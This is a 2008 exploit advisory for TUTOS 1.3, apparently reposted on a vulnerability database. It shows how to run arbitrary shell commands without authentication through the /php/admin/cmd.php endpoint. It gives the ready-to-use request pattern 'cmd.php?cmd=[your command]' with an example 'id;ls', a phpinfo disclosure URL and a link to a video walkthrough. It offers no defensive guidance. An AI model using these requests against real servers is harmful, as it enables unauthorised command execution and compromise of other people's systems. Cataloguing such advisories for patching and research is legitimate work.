TUTOS 1.3 (cmd.php) Remote Command Execution Vulnerability

🗓️ 08 Jan 2008 00:00:00Reported by RootType
TUTOS 1.3 Remote Command Execution Vulnerabilit

                                                ######################################################################################
#&nbsp;AUTHOR&nbsp;:&nbsp;H-T&nbsp;TeaM&nbsp;{HouSSaMix&nbsp;_&nbsp;ToXiC350}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;HOME&nbsp;:&nbsp;http://no-hack.net&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;						&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;Script&nbsp;:&nbsp;&nbsp;TUTOS&nbsp;(Tested&nbsp;in&nbsp;version&nbsp;1.3)&nbsp;other&nbsp;versions&nbsp;may&nbsp;also&nbsp;be&nbsp;affected.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;Download&nbsp;:&nbsp;http://www.tutos.org/homepage/index.html&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;BUG&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Command&nbsp;Execution&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#		
######################################################################################

(~)|&nbsp;3xpl0it4t10n

&nbsp;-1-&nbsp;:&nbsp;Command&nbsp;Execution

&nbsp;&nbsp;&nbsp;&nbsp;http://[TARGEt]/[path_TUTOS]/php/admin/cmd.php?cmd=[your&nbsp;command]&nbsp;&nbsp;

&nbsp;&nbsp;&nbsp;&gt;&gt;&nbsp;we&nbsp;dont&nbsp;need&nbsp;a&nbsp;permission&nbsp;admin&nbsp;for&nbsp;access&nbsp;to&nbsp;'/php/admin/cmd.php'&nbsp;:d&nbsp;
	
&nbsp;&nbsp;&nbsp;&nbsp;exemple&nbsp;:&nbsp;&nbsp;http://site.com/tutos/php/admin/cmd.php?cmd=id;ls
	
	or&nbsp;we&nbsp;can&nbsp;just&nbsp;&nbsp;enter&nbsp;into&nbsp;:&nbsp;http://[TARGEt]/[path_TUTOS]/php/admin/cmd.php
	and&nbsp;right&nbsp;the&nbsp;command&nbsp;in&nbsp;[&nbsp;CMD(*)&nbsp;]&nbsp;and&nbsp;press&nbsp;enter&nbsp;:d

-2-&nbsp;Get&nbsp;phpinfo&nbsp;

&nbsp;&nbsp;&nbsp;http://[TARGEt]/[path_TUTOS]/php/admin/phpinfo.php&nbsp;

(~)|&nbsp;Explantion&nbsp;By&nbsp;Video&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://no-hack.net/video/tutos.zip
	

#&nbsp;greezt&nbsp;:&nbsp;CoNaN&nbsp;&nbsp;,&nbsp;GoLd_M&nbsp;,&nbsp;RoMaNcYxHaCkEr&nbsp;,&nbsp;and&nbsp;all&nbsp;muslims&nbsp;Hackers&nbsp;

######################################################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;H-T&nbsp;TeaM&nbsp;{HouSSaMix&nbsp;_&nbsp;ToXiC350}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
######################################################################################
08 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1